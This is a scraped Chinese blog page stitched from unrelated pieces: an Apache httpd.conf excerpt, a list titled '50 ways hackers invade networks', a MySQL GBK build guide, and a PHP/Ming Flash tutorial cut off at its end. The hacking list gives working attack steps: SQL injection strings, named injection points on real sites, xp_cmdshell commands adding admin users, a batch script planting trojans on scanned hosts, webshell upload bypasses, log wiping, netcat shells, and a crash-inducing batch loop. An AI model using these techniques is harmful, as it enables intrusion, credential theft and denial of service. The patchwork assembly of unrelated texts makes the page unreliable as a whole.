    # Alias /error/include/ "/your/include/path/"
    #
    # 以将/usr/local/apache2/error/include/下的文件拷贝到/your/inclue/path/下
    # 开始,你可以创建你自己的文件集合,甚至是其于每个虚拟主机的。
    # 不管你的ServerSignature如何设置,默认的包含文件将显示你的
    # Aapche版本号和你的ServerAdmin邮件地址
    #
    # 国际化的错误文档需要mod_alias,mod_include和mod_negotiation三个
    # 模块。要激活它们,取消下面30行的注释符号

    # Alias /error/ "/usr/local/apache2/error/"
    #
    #
    # AllowOverride None
    # Options IncludesNoExec
    # AddOutputFilter Includes html
    # AddHandler type-map var
    # Order allow,deny
    # Allow from all
    # LanguagePriority en de es fr it nl sv
    # ForceLanguagePriority Prefer Fallback
    #

    #
    # ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var
    # ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var
    ErrorDocument 403 /error.php
    # ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var
    # ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var
    # ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var
    # ErrorDocument 410 /error/HTTP_GONE.html.var
    # ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var
    # ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var
    # ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var
    # ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var
    # ErrorDocument 415 /error/HTTP_SERVICE_UNAVAILABLE.html.var
    # ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var
    # ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var
    # ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var
    # ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var
    # ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var

    #
    # 下面的命令更改标准的HTTP应答行为以处理己知的浏览器问题。
    #
    BrowserMatch "Mozilla/2" nokeepalive
    BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0
    BrowserMatch "RealPlayer 4\.0" force-response-1.0
    BrowserMatch "Java/1\.0" force-response-1.0
    BrowserMatch "JDK/1\.0" force-response-1.0

    #
    # 下面命令关闭对那些没有尾部“/”的目录的非GET请求的重定向,
    # 这些命令修复了微软的采用DAV方法不能正确处理重定向的WEB文件夹的问题。
    # Apple下的DAV文件系统和Gnome下的VFS对DAV的支持也是采用这样的方法
    # 进行处理的。
    #
    BrowserMatch "Microsoft Data Access Internet Publishing Provider" redirect-carefully
    BrowserMatch "^WebDrive" redirect-carefully
    BrowserMatch "^WebDAVFS/1.[012]" redirect-carefully
    BrowserMatch "^gnome-vfs" redirect-carefully

    #
    # 允许你使用URL:http://servername/server-status来通过mod_status生
    # 成并报告服务器状态信息。改变.example.com为你自己的域名。
    #
    #
    # SetHandler server-status
    # Order deny,allow
    # Deny from all
    # Allow from .example.com
    #


    #
    # 允许使用URL:http://servername/server-info来远�...��配置信息
    # (需要mod_info.c支持)。改变“.example.com”为你自己的域名。
    #
    #
    # SetHandler server-info
    # Order deny,allow
    # Deny from all
    # Allow from .example.com
    #


    #
    # 代理服务器命令,去掉下面的行使代理服务可用。
    #
    #
    # ProxyRequests On
    # >
    # Order deny,allow
    # Deny from all
    # Allow from .example.com
    #


    #
    # 安装或关闭HTTP/1.1“通道”头处理。
    # (“Full”添加服务器版本信息,“Block”移掉所有输出“通道”头信息。
    # 可以设为下面各选项之一:Off | On | Full | Block
    #
    # ProxyVia On

    # 最好为代理服务安装高速缓冲,去掉下面几行的注释符号:
    # (没有CacheRoot则不缓冲)
    #
    # CacheRoot "/usr/local/apache2/proxy"
    # CacheSize 5
    # CacheGcInterval 4
    # CacheMaxExpire 24
    # CacheLastModifiedFactor 01
    # CacheDefaultExpire 1
    # NoCache a-domain.com another-domain.edu joes.garage-sale.com

    #

    # 代理命令结束。

    #
    # 附加的特定模块配置。
    #

    Include conf/ssl.conf


    ## 第三区:虚拟主机
    #
    # VirtualHost:你可以通过设置虚拟主机容器以实现在你的主机上保有多个
    # 域名/主机名。大多数配置信息只使用基于名字的虚拟主机,因此服务器
    # 不必担心IP地址的问题,下面的命令以*号代替虚拟主机名。
    #
    # 在你试着配置你的虚拟主机以前,请参见
    # URL:http://httpd.apache.org/docs-2.0/vhosts/>以取得更多的信息。
    #
    # 你可以使用命令行选项“-S”来检验你的虚拟主机配置。

    #
    # 使用基于名字的虚拟主机。
    #
    # NameVirtualHost

    #
    # 虚拟主机示例:
    # 几乎所有的Apache命令都可以在虚拟主机容器中使用。
    # 第一个虚拟主机区是用于向服务名未知的请求进行应答的配置。
    #
    #
    # ServerAdmin webmaster@dummy-host.example.com
    # DocumentRoot /www/docs/dummy-host.example.com
    # ServerName dummy-host.example.com
    # ErrorLog logs/dummy-host.example.com-error_log
    # CustomLog logs/dummy-host.example.com-access_log commom
    #

     

     

     

     

    黑客入侵网络的50种方法

    现在网上的攻击事件越来越多,黑客都是通过什么方法来攻击我们的呢?下面我们给大家总结了黑客入侵网络的五十种方法,让大家做到有备无患。

      1.网宽网络有限公司制作的网站基本都有注入漏洞 搜索网宽网络

      2.搜索栏里输入

      关键字%'and 1=1 and '%'='

      关键字%'and 1=2 and '%'='

      比较不同处 可以作为注入的特征字符

      3.登陆框用户名和密码输入'or'='or' 漏洞很老但是现在很是遍地都是

      4.我们先到
    www.google.com底下搜索一下Co Net MIB Ver 1.0

      密码帐号都是 'or'='or'

      5.挂马代码

      6.
    http://www.wyyfk.com/24小时挂QQ工具

      7.开启regedt32的SAM的管理员权限 检查HKEY_LOCAL_MACHINESAMSAM和HKEY_LOCAL_MACHINESAMSAM下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡,这方法是简单克隆,

      net localgroup administrators还是可以看出Guest是管理员来

      7.只要敢想,新浪也可入侵 注入点

      
    http://igame.sina.com.cn/plaza/event/new/crnt_event_view.asp?event_id=59

      微软官方网站注入点

      
    http://www.microsoft.com/library/toolbar/3.0/search.aspx?View=en-us&charset=iso-8859-1&qu=

      8.ms05016攻击工具用法 mshta.exe test.hta 文件名.后缀名 可以绑上QQ大盗木马

      9.有sa权限sqlserver数据库、并且能sql注入支持fso+asp的服务器

      SQL注入后,如何上传木马,

      文章地址
    http://hack123.home4u.china.com/0601.htm

      10.QQ强制聊天代码

      
    http://wpa.qq.com/msgrd?V=1&Uin=对方的qq号&Site=ioshenmue&Menu=yes

      使用方法:把代码中的红色的“********”星号换成你想与其聊天的QQ号后复 制到浏览器的地址栏处即可。无论他是否你的好友,你无须加他为好友就能给 他发QQ消息。

      11. mybbs论坛cookie欺骗 后台备份马

      12.软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等

      用法: 安装: instsrv.exe 服务名称 路径

      卸载: instsrv.exe 服务名称 REMOVE

      13.以动网为例数据库查找DV_LOG,在上面的查询的字段名里选l_content后面的关键字填上password2,找到的username2=%B7%E7%A4%CE%B0%D7%D2%C2&password2=01180017&username1=%B7%E7%A4%CE%B0%D7%D2%C2&Submit=%CC%ED+%BC%D3 password2=01180017就是他的登陆密码

      14.搜索的技巧 inurl:网址

      15.启航工作室WMS 5.0网站程序漏洞

      在baidu 搜索Powered by: SailingStudio Website Manage System 5.0 (SP1)

      利用动画看
    http://soft.77169.com/62/20050530/6824.html

      16.很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~

      17.天意商务系统网上依然有 有漏洞 网站具体的样式
    http://www.wzgcc.org/

      工具下载www.hack6.com

      地址栏里,填上天意商务系统的网址就可以了,注意一定要是主页面

      18.SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉

      不能注入时要第一时间想到%5c暴库

      19.这个dbinbd.asp文件插入后门的功能适用于文件名为.asp的所有access数据库不是动网论坛也一样可以使用的,后门隐蔽,几乎发现不了

      工具使用方法动画和所有文件

      
    http://www.anquanwu.com/bbs/printpage.asp?BoardID=2&ID=811

      20.缺少xp_cmdshell时

      尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

      假如恢复不成功,可以尝试直接加用户(针对开3389的)

      declare @o int

      exec sp_oacreate 'wscrīpt.shell',@o out

      exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员

      21.批量种植木马.bat



      for /f %%i in (扫描地址.txt) do copy pc.exe %%iadmin$ 复制木马到扫描的计算机当中

      for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间

      扫描地址.txt里每个主机名一行 用\开头

      22.搜索 Powered by Discuz!4.0.0RC3 开放头像的可利用 工具地址
    www.hack6.com

      23.DV7.1用还原数据功能 还原asa木马

      24.凡人网络购物系统V6.0 可以%5c暴库

      25.IPB2.0.2漏洞 构造语句

      $qpid=1) and 1=2 union select 1,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1 from ibf_members where id=1 /* 暴管理员密码 想看动画到黑基里找 IPB<= 2.0.3论坛注入工具
    www.hack6.com有下载

      26. 将工具传到邮箱 在下载上右击 复制快捷方式 拥有自己了的下载空间

      27.北京冲QB要宽带号跟绑定宽带的后4位电话,当你扫出北京款待号的密码必须是8位的密码,而且开头是6或8的才可以,因为北京的电话都是6根8开头的而且都是8位的,北京的区名海淀 东城 西城 门头沟 丰台 潮阳 宣武 通州 昌平,去
    http://cnc.qq.com/bbn/

      28.搜索 企业网络办公系统 添'or''=' 登陆 在个人邮箱 上传asp木马

      29.本人原创 搜索"一点点星空驿站 留言本" 默认数据库是gbmdb.mdb 很多网站用这个留言本 但是用搜索引擎搜不到 可以给大家在入寝时多个思路

      30.在程序上传shell过程中,程序不允许包含标记符号的内容的文件上传,比如蓝屏最小 的asp木马,我们来把他的标签换一下: 保存为.asp,程序照样 执行.

      31.目录权限设置变态的话可以用一些方法(比如serv-u溢出)将此web用户提权 可访问全站目录挂马

      32.喜欢网页挂马的看看这篇总结文章吧

      
    http://77169.com/News/hk/2005060611656.html

      33.搜索"images/admin" 或".tw/images/admin" 可以找到些台湾的数据库

      34.IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.

      将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.

      .cer 等后缀的文件夹下都可以运行任何后缀的asp木马

      35.telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP

      然后用#clear logg和#clear line vty *删除日志

      36.搜索关键字:"Copyright 2003-2004 动易网络" 后面地址改成upfile_soft.asp 这样的漏洞很多

      37.bbsxp的漏洞总结 Powered by BBSxp 5.15/Licence blog.asp中的对id 的过滤不严的漏洞 拿到管理员的前后台密码 工具:bbsxp完全版 cookies 欺骗 bbsxp 过滤了 asp 文件的上传 所以我们这里用 asa 来传马

      38.学会总结入侵思路
    http://www.77169.com/News/hk/2005060811688.html

      39.电脑坏了省去重新安装系统的方法

      纯dos下执行,

      xp:copy C:WINDOWSrepair*.*? 到?c:windowssystem32config

      2k: copy C:winntrepair*.*? 到?c:winntsystem32config

      40.一般人设置啊拉QQ大盗的时候发信和收信都是同一个信箱,因此当我的机子中了此木马后没有立即杀掉进程,而是用内存编辑工具打开它的进程,查找smtp字样,就会找到它的信箱和密码了。只对1.5以前的管用.

      41.内网控制内网 用vidc 还要有一只肉鸡 动画看黑基的

      
    http://soft.77169.com/62/20050608/6878.html

      42.有许多管理员用备份的日期做备份数据库的名字

      比如
    http://www.hack6.com/bbs/databackup/20050601.mdb

      43.动网数据库oldusername=%B5%F0%B7%C0&username2=%B5%F0%B7%C0&password2=19841202&adduser=%B5%F0%B7%C0&id=12&Submit=%B8%FC+%D0%C2
    不知道用户名(不是%B8%F0%B7%C0) 转化这个用他本身的页面

      
    http://www.hack6.com/bbs/showerr.asp?BoardID=0&ErrCodes=10,11&action=%CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2

      %CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2这句话意思是“填写登录信息”

      那么就把%CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2换成%B5%F0%B7%C0 可以看到用户名

      44.对付信息监控系统 木马必须是加密的 如net user用不了就用net1 user等等 我是大连的 大连这边主机用这方法好用 可以直接传加密的马 用用黑基tyrant的方法 上传一个cmd的aspshall 用nc连接自己的nc监听端口 在web目录下写个加ftp用户的txt 本地43958用nc提交 ftp到服务器加用户

      45.解决TCP/IP筛选 在注册表里有三处,分别是:



      HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesTcpip

      HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesTcpip

      HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip

      分别用

      regedit -e D:a.reg HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip

      regedit -e D:b.reg HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesTcpip

      regedit -e D:c.reg HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip

      命令来导出注册表项

      然后把三个文件里的EnableSecurityFilters"=dword:00000001,

      改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用

      regedit -s D:a.reg regedit -s D:b.reg regedit -s D:c.reg 导入注册表即可

      46.使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U

      SERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones"下的1004项的值由原来十进制的0改为十六进制的3。

      47.开3389的5种方法

      (1)打开记事本,编辑内容如下:

      echo [Components] > c:sql

      echo TSEnable = on >> c:sql

      sysocmgr /i:c:winntinfsysoc.inf /u:c:sql /q

      编辑好后存为BAT文件,上传至肉鸡,执行。

      (2) (对xp2000都有效) 脚本文件 本地开3389 工具:rots1.05

      下载地址:
    www.netsill.com/rots.zip

      在命令行方式下使用windows自带的脚本宿主程序cscrīpt.exe调用脚本,例如:

      c:>cscrīpt ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [/r]

      如果要对本地使用,IP地址为127.0.0.1或者一个点(用.表示),用户名和密码都为空(用 ""表示)。

      (3)djshao正式版5.0

      解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyx*.**e上传到肉鸡的c:winnttemp下,然后 进入c:winnttemp目录执行djxyx*.**e解压缩文件,然后再执行解压缩出来的azzd.exe文件,等一会肉鸡 会自动重启!重启后会出现终端服务

      (4)下载DameWare NT Utilities 3.66.0.0 注册版

      地址
    www.netsill.com/dwmrcw36600.zip

      安装注册完毕后输入对方IP用户名密码,等待出现是否安装的对话框点是。

      复制启动后出现对方桌面。

      在对方桌面进入控制面版,点添加或删除程序。进入后点添加/删除windows组件,找到终端服务,点际进入 后在启动终端服务上打上勾。确定自动提示重起,重起后OK

      (5)大家最常用的 3389.exe 下载地址
    www.hack6.com 把程序上传到肉鸡运行后重启既可

      48.QQ上得到别人的IP

      一般跟别人聊天 如果是对方先对你说话 那么她的IP显示出来的概率就大

      当然如果是我们找对方 可以先跟她说发过去消息之后 然后关闭窗口等待她的回复

      还可以用天网防火墙选择上UDP数据保检测,即可拦截到对方ip

      49.挂马js代码document.write('');保存到js页面里 可让所有页面挂马

      50.让服务器重启

      写个bat死循环:

      @echo off

      :loop1

      cls

      start cmd.exe

      goto loop1

      保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启

     

     

     

     

     

    ---------------------------------------------------
    核弹 / KernBombe (音译:卡邦) 系统


  • 让MYSQL彻底支持中文

    2007-04-20 16:01:12

    提要:系统自带的mysql默认字符集不是gbk,因此给数据库的推广应用以及中文程序的开发带来极大的不便,在没完没了的GBK和UTF8的转换过程中消耗了我们无数的精力以及系统的资源.经过摸索尝试解决了中文支持问题,经验与大家分享一下.

    先将让slack支持中文,方法可以看"linuxsir.org 之Slackware讨论区",然后重新编译mysql,原来系统mysql的要先用卸载.
    login:root

    shell> removepkg mysql
    shell> groupadd mysql
    shell> cd /app
    shell> mkdir mysql
    shell> chmod 744 mysql
    shell> useradd -G mysql -s /bin/bash –p /app/mysql mysql
    shell> chown -R mysql.mysql mysql

    下载mysql4.x.x

    shell> gunzip < mysql-VERSION.tar.gz | tar -xvf -
    shell> cd mysql-VERSION
    shell> CFLAGS="-O3 -mcpu=pentium3" \
    CXX=gcc \
    XXFLAGS="-O3 -mcpu=pentium3 -felide-constructors" \
    ./configure --prefix=/app/mysql \
    --with--charset=gbk \
    --with-extra-charsets="gbk gb2312 big5 utf8"\
    --with-unix-socket-path=/etc/mysql.sock \
    --enable-local-infile \
    --enable-thread-safe-client \
    --enable-assembler \
    --with-client-ldflags=-all-static \
    --with-mysqld-ldflags=-all-static


    //-mcpu 根据CPU类型优化编译,可以让你的mysq表现更好!可选项目很多:i386, i486, i586, i686, pentium, pentium-mmx, pentiumpro, pentium2, pentium3, pentium4, k6, k6-2, k6-3, athlon, athlon-tbird, athlon-4, athlon-xp,athlon-mp,winchip-c6, winchip2 , c3.

    shell> make
    ------------------------------------------
    错误时候
    shell> make clean
    再回上一步
    ------------------------------------------------------------

    shell> make install
    shell> cp support-files/my-medium.cnf /etc/my.cnf
    shell> cd /app/mysql
    shell> bin/mysql_install_db --user=root
    shell> chown -R root .
    shell> chown -R mysql var
    shell> chgrp -R mysql .
    shell> ./bin/mysqld_safe --user=root --default-character-set=gbk &
    shell> ./bin/mysqladmin -u root password 'new-password'
    shell> ./bin/mysql -u root --default-character-set=gbk -p
    mysql> status
    ...
    Server characterset: gbk
    Db characterset: gbk
    Client characterset: gbk
    Conn. characterset: gbk
    ....


    看见characterset全是gbk就算成功了.
    ----------------------------------------------------------------------------------------------------
    在UTF8字符集的老数据库中,创建中文支持表脚本如下,对字段加上字符集说明

    CREATE TABLE `test`.`cn` (
    `zh` CHAR(10) CHARACTER SET gb2312 COLLATE gb2312_chinese_ci NOT NULL,
    `中文` INT(11) NOT NULL
    )
    ENGINE = MYISAM;


    注:CHARACTER SET 写GB2312 和gbk都可以,gbk优于gb2312.

    对于新创建的数据库加个默认字符集声明GBK,就不用建表时候每个字段声明了,这样看起来简单流畅,没有特殊的痕迹,建议多采用这种方法.

    mysql> CREATE DATABASE dbCN DEFAULT CHARACTER SET gbk COLLATE gbk_chinese_ci;
    CREATE TABLE `dbCN`.`cn` (
    `zh` CHAR(10) NOT NULL,
    `中文` INT(11) NOT NULL
    )
    ENGINE = MYISAM;
    mysql> insert into cn values("真的?",1);

    注:如果这些脚本用bin/mysql命令行是输入不了,可以 用mysql query Browser,或者编程执行.
    --------------------------------------------------------------------------------------------------------

    shell> bin/mysql -u root --default-character-set=gbk -p
    mysql>use test
    mysql> select * from cn;
    +--------+------+
    | zh | 中文 |
    +--------+------+
    | 真的?| 1 |
    +--------+------+
    1 row in set (0.00 sec)
    ---------------------------------------------

    最后修改启动文件/etc/rc.d/rc.mysqld

    改路径/app/mysql/bin/mysqld_safe
    改路径/app/mysql/var/web.pid

    /app/mysql/bin/mysqld_safe 后面加入 --user=root --default-character-set=gbk

     

     

     

    ---------------------------------------------------
    核弹 / KernBombe (音译:卡邦) 系统
  • 使用PHP 快速生成Flash 动画

    2007-04-20 15:47:55

    Web 2.0 引入了 Rich Internet Application。但 Rich Internet Application 的含义是什么?通常,它意味着向应用程序中添加具有高度响应能力的交易操作。具体来说,它意味着可以即时更改页面中的小部件、Web 表单和报告,而无需从服务器中检索新页面。

    一种用于构建 Rich Internet Application(RIA)的方法就是使用动态 HTML(Dynamic HTML,DHTML),它是 Ajax、Javascrīpt、层叠样式表(Cascading Style Sheet,CSS)和 HTML 的组合(请参阅 参考资料)。但是 DHTML 并不是向 Web 应用程序中添加互动操作的惟一方法。另一种重要方法是使用 Adobe Flash Player,使用它为 Web 站点添加交互操作已经有十年的历史。

    第一版的 Flash 曾是用于创建动画图片的工具,而最新版本的 Flash 已经可以托管一个完整的界面,可用于控制 Web 服务访问并使用 ECMAscrīpt(Javascrīpt 的正式版本)来提供完整的脚本支持。

    了解 Flash

    Flash Player 是集成到运行 Microsoft® Windows®、Mac OS X 和 Linux® 的计算机的 Web 浏览器中的一个插件。截至本文完稿时,最新版本的 Flash Player 是 V8。它是可以免费获得的,大多数浏览器都附带安装了此插件。它十分流行并且具有优秀的客户机渗透力 —— 而这种渗透力随着 YouTube 和 Google Video 这类服务的出现得到了提高,这些服务都使用 Flash 显示视频流。

    Flash Player 只是天平的一端。要发挥作用,Flash Player 还需要使用一个 Flash 动画。此类动画通常是使用一种 Flash 的开发工具编译的文件,其文件扩展名为 .swf。但正如您将在本文中看到的那样,还可以使用 Ming 库用几乎与动态创建图片相同的方法来动态构建 .swf 文件,并在 Web 服务器上绘制图形。Ming 库利用由 PHP 代码构建的对象和方法在新的 .swf 文件中构建操作代码。

    您可以通过两种方法中的任意一种方法来查看 Web 站点中的 .swf 文件。第一种方法只需导航到 .swf 文件的 URL。这样做将把 Web 服务器的整个内容区域替换为 Flash 动画。此方法便于进行调试,但主要的用法还是将动画嵌入到 HTML Web 页面的 <object> 标记中。该 <object> 标记然后再通过 URL 引用 SWF 动画。<object> 方法的优点在于您可以把动画放在页面的任意位置,并可通过 Javascrīpt 代码进行动态控制,就像处理页面中的任何其他元素一样。

    清单 1 显示的是一个引用 SWF 动画的 <object> 标记的示例。



    清单 1. 嵌入式 Flash 动画
    				
    <OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#
            version=6,0,40,0"
    WIDTH="550" HEIGHT="400">
    <PARAM NAME="movie" VALUE="lines.swf">
    <EMBED src="lines.swf" WIDTH="550" HEIGHT="400"
    TYPE="application/x-shockwave-flash"
    PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
    </EMBED>
    </OBJECT>
    

    这组标记将引用一个名为 lines.swf 的动画。内部的 <embed> 标记用于确保 Flash 动画可以在安装了插件的各种浏览器中播放。

    标记还把 Flash Player 的高度和宽度分别指定为 550 像素和 400 像素。非常值得注意的是,Flash 动画中的图形都是基于矢量的,这意味着当您使用 Flash 命令绘制线条和文本时,那些元素都被存储为坐标并且按照匹配显示区域的比例进行缩放。如您所见,Flash 动画有自己的坐标系统,您可以按照适合自己的方法使代码尽可能整洁。

    Ming

    本文中提供的使用 Flash 动画的第一种方法是使用 Ming 库动态生成它们。Ming 库是一个 PHP 库,其中有一组映射到 SWF 动画中的数据类型的对象:子图形、图形、文本、位图等等。我将不讨论如何构建和安装 Ming,因为其操作是特定于平台的而且并不特别简单(请参阅 参考资料)。在本文中,我使用了预编译的扩展 php_ming.dll 库用于 Windows 版本的 PHP。

    必须指出的是,Ming 仍处于开发阶段。截至本文完稿时,库的版本是 V0.4,并且较老版本中的一些命令在最新版本中不能使用。我使用了 V0.4 撰写本文,因此,要使用这段代码,您需要使用这个版本。

    清单 2 显示了使用 Ming 库实现的 HelloWorld 示例。



    清单 2. Hello.php

    				
    <?php
    $f = new SWFFont( '_sans' );
    
    $t = new SWFTextField();
    $t->setFont( $f );
    $t->setColor( 0, 0, 0 );
    $t->setHeight( 400 );
    $t->addString( 'Hello World' );
    
    $m = new SWFMovie();
    $m->setDimension( 2500, 800 );
    $m->add( $t );
    
    $m->save( 'hello.swf' );
    ?>
    

    在命令行中运行这段代码将生成文件 hello.swf。当我在 Web 浏览器中打开该文件时,看到了图 1 所示的结果。



    图 1. 使用 Ming 的 HelloWorld 示例
     
    回过头来查看这段代码,我做的第一件事是创建指向一个内置字体(_sans)的指针,然后创建文本字段,设定字体、颜色和大小,最后为其提供一些文本内容(“Hello World”)。再接下来创建了一个 SWFMovie 对象并设定其尺寸。最后,向动画中添加了文本元素并将动画保存到文件中。

    作为直接构建文件的替代性方法,也可以使用下面的代码,使 SWF 动画像页面那样输出,而无需使用 save 方法:

    header( 'Content-type: application/x-shockwave-flash' );
    $m->output( );
    

    此过程类似于使用 PHP 中的 ImageMagick 库来构建位图。对于所有 Ming 示例,我都将使用 save 方法,但您可以根据喜好来选择是否使用 save 方法。

    让文本动起来

    只是将一些文本放入 Flash 动画中是没有多大意义的,除非您能让它动起来。因此我整合了清单 2 中的示例,它包括两段文本:一部分开始很小后来变得越来越大,而另一部分保持静态。



    清单 3. Text.php

    				
    <?php
    $f = new SWFFont( '_sans' );
    
    $pt = new SWFTextField();
    $pt->setFont( $f );
    $pt->setColor( 0, 0, 0 );
    $pt->setHeight( 400 );
    $pt->addString( '1000' );
    
    $tt = new SWFTextField();
    $tt->setFont( $f );
    $tt->setColor( 192, 192, 192, 90 );
    $tt->setHeight( 350 );
    $tt->addString( 'Points' );
    
    $m = new SWFMovie();
    $m->setDimension( 2500, 800 );
    
    $pts = $m->add( $pt );
    $pts->moveTo( 0, 0 );
    
    $tts = $m->add( $tt );
    $tts->moveTo( 1300, 200 );
    
    for( $i = 0; $i < 10; $i++ ) {
      $m->nextframe();
      $pts->scaleTo( 1.0 + ( $i / 10.0 ), 1.0 + ( $i / 10.0 ) );
    }
    
    $m->save( 'text.swf' );
    ?>
    

    在命令行中执行这段代码时,它将生成 text.swf。在 Web 浏览器中打开该文件时,我看到了图 2 所示的图片。



    图 2. text.swf 文件
    text.swf 文件

    文本 “1000” 开始时很小,大小为 350 个点。然后使用 scaleTo() 方法使其增大为 750 个点,方法是对动画对象使用 nextframe() 方法。

    要理解其工作原理,需要了解一点 Flash 制作动画的方法。Flash 中的动画就像电影中的动画一样运行:按帧运行。子图形将按帧在动画框架中移动。一个主要差别是 Flash 不获取每帧的快照。它存储子图形对象在每帧的状态。

    您可能会注意到,我有一个名为 $pt 的变量,该变量具有文本 “1000”。随后当我把 $pt 添加到动画中时,获得了通过 add() 方法返回的名为 $pts 的新对象。该对象是 SWFDisplayItem,表示子图形的实例。然后我可以围绕动画框架的表面逐帧移动实例。这有点儿混乱,但我可以拥有同时移动的多个版本的 “1000” 文本子图形或 “points” 文本子图形。

    绘制一些图形

    接下来要处理的是矢量图形。首先仅绘制一条简单的直线,它从框架的左侧顶部到右侧底部。



    清单 4. Line.php

    				
    <?php
    $m = new SWFMovie();
    $m->setDimension( 300, 300 );
    
    $s = new SWFShape();
    $s->setLine( 10, 0, 0, 0 );
    $s->movePenTo( 10, 10 );
    $s->drawLineTo( 290, 290 );
    $m->add( $s );
    
    $m->save( 'line.swf' );
    ?>
    

    在命令行中运行此脚本,然后查看输出的 .swf 文件,效果如图 3 所示。



    图 3. 绘制简单的直线
    绘制简单的直线

    好的 —— 这十分简单,也不怎么令人激动。那么我做了什么?创建了一个新的 SWFShape 对象,然后向其中添加了一些笔触移动和直线。然后我将其作为子图形添加到了动画中。

    为了让它变得更有趣,我使用了与刚才文本中使用的相同的帧式动画。但在本例中,我用下面所示的代码使这条直线围绕动画的中心旋转。



    清单 5. 旋转直线

    				
    <?php
    $m = new SWFMovie();
    $m->setDimension( 300, 300 );
    
    $s = new SWFShape();
    $s->setLine( 5, 0, 0, 0 );
    $s->movePenTo( -100, -100 );
    $s->drawLineTo( 100, 100 );
    $ts = $m->add( $s );
    
    $ts->moveTo( 150, 150 );
    
    for( $i = 0; $i < 100; $i++ ) {
      $ts->rotate( 10 );
      $m->nextframe();
    }
    
    $m->save( 'rotate.swf' );
    ?>
    

    在本例中,我从 -100, -100 到 100, 100 画了一条直线。这将把直线的中心放在坐标 0,0 处。这样,当我在旋转图形时,直线的中心将发生旋转。

    当我向动画中添加图形时,将移动返回到框架中心的 SWFDisplayItem。然后用 rotate() 方法使它旋转并每旋转一周就增大其框架。

    使用图片

    文本和诸如直线、圆、弧、曲线和矩形之类的简单矢量图形都是十分优秀的,但在理想的情况下,您必须能访问这些 Flash 动画中的图片。值得庆幸的是,Ming 库使您可以轻松的使用图片,如下所示。



    清单 6. 使用图片

    				
    <?php
    $img = new SWFBitmap( file_get_contents( 'megan.jpg' ) );
    
    $s = new SWFShape();
    $imgf = $s->addFill( $img );
    $s->setRightFill( $imgf );
    $s->movePenTo( 0, 0 );
    $s->drawLineTo( $img->getWidth(), 0 );
    $s->drawLineTo( $img->getWidth(), $img->getHeight() );
    $s->drawLineTo( 0, $img->getHeight() );
    $s->drawLineTo( 0, 0 );
    
    $m = new SWFMovie();
    $m->setDimension( $img->getWidth() * 2, $img->getHeight() * 2 );
    $is = $m->add( $s );
    $is->moveTo( $img->getWidth() / 2, $img->getHeight() / 2 );
    
    for( $i = 0; $i < 10; $i++ )
    { 
    $is->skewx( 0.02 );
    $is->skewy( -0.03 );
    $m->nextframe();
    }
    
    $m->save( 'image.swf' );
    ?>
    

    在命令行中运行此脚本并在浏览器中查看 image.swf,结果如图 4 所示。



    图 4. 生成的图片动画
    生成的图片动画

    此脚本在开始时读取了本地的 .jpeg 文件(在本例中,是我女儿 Megan 的照片)。然后创建一个矩形,并在其中填充图片。在那之后,它在10 帧处使用了位移效果使图片稍微移动。

    继续移动

    我只是触及了 Ming 库可为您提供的操作的表面。在这里我没有展示交互部分,在交互部分您可以将简单的脚本与元素连接起来。(但是,如果换成是交互操作,如果您有一个十分复杂的 Flash 动画,则可能需要考虑使用 Flash 开发工具来构建 Web 应用程序内与 Web 服务对话的 Flash 动画。)

    构建更加复杂的 Flash 动画的另外一种选择是使用诸如 Adobe Flex 或 Laszlo 之类的制作工具,这两种工具都提供了用于为 Flash 动画的用户界面布局的 XML 语法以及一个更轻松地例程,可用于开发为界面提供互动操作的 Javascrīpt。

    XML Chart 和 XML Gauge

